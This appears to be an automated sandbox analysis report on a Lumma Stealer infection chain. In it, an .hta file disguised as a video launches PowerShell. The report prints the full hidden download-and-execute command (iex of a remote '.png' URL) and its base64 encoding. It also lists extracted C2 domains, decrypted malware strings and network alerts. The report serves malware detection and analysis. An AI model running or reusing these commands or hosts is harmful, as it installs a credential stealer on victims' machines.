UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5784, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ProcessId: 6160, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5784, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ProcessId: 6160, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:18.711660+0100	2028371	3	Unknown Traffic	192.168.2.5	49978	104.21.71.158	443	TCP
2025-01-06T13:56:19.692885+0100	2028371	3	Unknown Traffic	192.168.2.5	49979	104.21.71.158	443	TCP
2025-01-06T13:56:20.856054+0100	2028371	3	Unknown Traffic	192.168.2.5	49980	104.21.71.158	443	TCP
2025-01-06T13:56:22.012302+0100	2028371	3	Unknown Traffic	192.168.2.5	49981	104.21.71.158	443	TCP
2025-01-06T13:56:23.201646+0100	2028371	3	Unknown Traffic	192.168.2.5	49982	104.21.71.158	443	TCP
2025-01-06T13:56:24.525307+0100	2028371	3	Unknown Traffic	192.168.2.5	49983	104.21.71.158	443	TCP
2025-01-06T13:56:28.921575+0100	2028371	3	Unknown Traffic	192.168.2.5	49984	104.21.71.158	443	TCP
2025-01-06T13:56:31.042003+0100	2028371	3	Unknown Traffic	192.168.2.5	49985	104.21.71.158	443	TCP
2025-01-06T13:56:31.882980+0100	2028371	3	Unknown Traffic	192.168.2.5	49986	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:19.176226+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49978	104.21.71.158	443	TCP
2025-01-06T13:56:20.168638+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49979	104.21.71.158	443	TCP
2025-01-06T13:56:31.382135+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49985	104.21.71.158	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:19.176226+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49978	104.21.71.158	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:20.168638+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49979	104.21.71.158	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:32.343490+0100	2008438	1	A Network Trojan was detected	188.114.96.3	443	192.168.2.5	49986	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:28.939162+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49984	104.21.71.158	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:56:28.939162+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49984	104.21.71.158	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 7.2.powershell.exe.600000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["noisycuttej.shop", "tirepublicerj.shop", "framekgirus.shop", "nearycrepso.shop", "grooveoiy.cyou", "abruptyopsn.shop", "wholersorie.shop", "rabidcowse.shop", "cloudewahsj.shop"], "Build id": "c2CoW0--RIII"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe

ReversingLabs: Detection: 51%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Sample uses string decryption to hide its real strings

Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: cloudewahsj.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: rabidcowse.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: noisycuttej.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: tirepublicerj.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: framekgirus.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: wholersorie.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: abruptyopsn.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: nearycrepso.shop
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: grooveoiy.cyou
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: - Screen Resoluton:
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: Workgroup: -
Source: 7.2.powershell.exe.600000.0.unpack	String decryptor: c2CoW0--RIII

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00615CE3 CryptUnprotectData,

7_2_00615CE3

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.158:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06BD27FFh	3_2_06BD2788
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06BD27FFh	3_2_06BD2778
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06BD0423h	3_2_06BD0210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06BD0423h	3_2_06BD0203
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06BD27FFh	3_2_06BD295D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+54h]	7_2_0062FA70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, dword ptr [0064E7C0h]	7_2_0060EA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	7_2_0060E5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	7_2_00643860
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_00629010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebx], cx	7_2_0061C0E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4Fh]	7_2_006428E5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_0061C8C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movsx edx, byte ptr [esi+eax]	7_2_0061F160
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	7_2_0063A120
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-49h]	7_2_0062A910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then test esi, esi	7_2_0063E1E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	7_2_006271F1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 53585096h	7_2_006281D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea eax, dword ptr [esp+48h]	7_2_006281D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	7_2_0062E1D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ebx	7_2_006221A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	7_2_00643980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+00h]	7_2_00602990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, bx	7_2_00627A55
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add ecx, 03h	7_2_0062B2D4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	7_2_00640AA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	7_2_00643AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	7_2_0062C28A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	7_2_00614B70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, edx	7_2_0060CB58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_00629B22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	7_2_00605B00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, eax	7_2_00605B00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], bl	7_2_0060EBF6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_0062A3CB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ebx+3215B430h]	7_2_0062FB80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	7_2_0062FB80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	7_2_00644380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 27BE92A4h	7_2_00644380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_0063DB90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000082h]	7_2_0062646B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	7_2_0062646B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, eax	7_2_0061B4CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-13E2C4EAh]	7_2_0061B4CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	7_2_006274D7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	7_2_0062F569
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], cl	7_2_00630525
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+ebx]	7_2_0062551E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, edx	7_2_0063E5D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+01h]	7_2_00644DD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 4B884A2Eh	7_2_00644DD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	7_2_0061BDA9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	7_2_0062BDBA
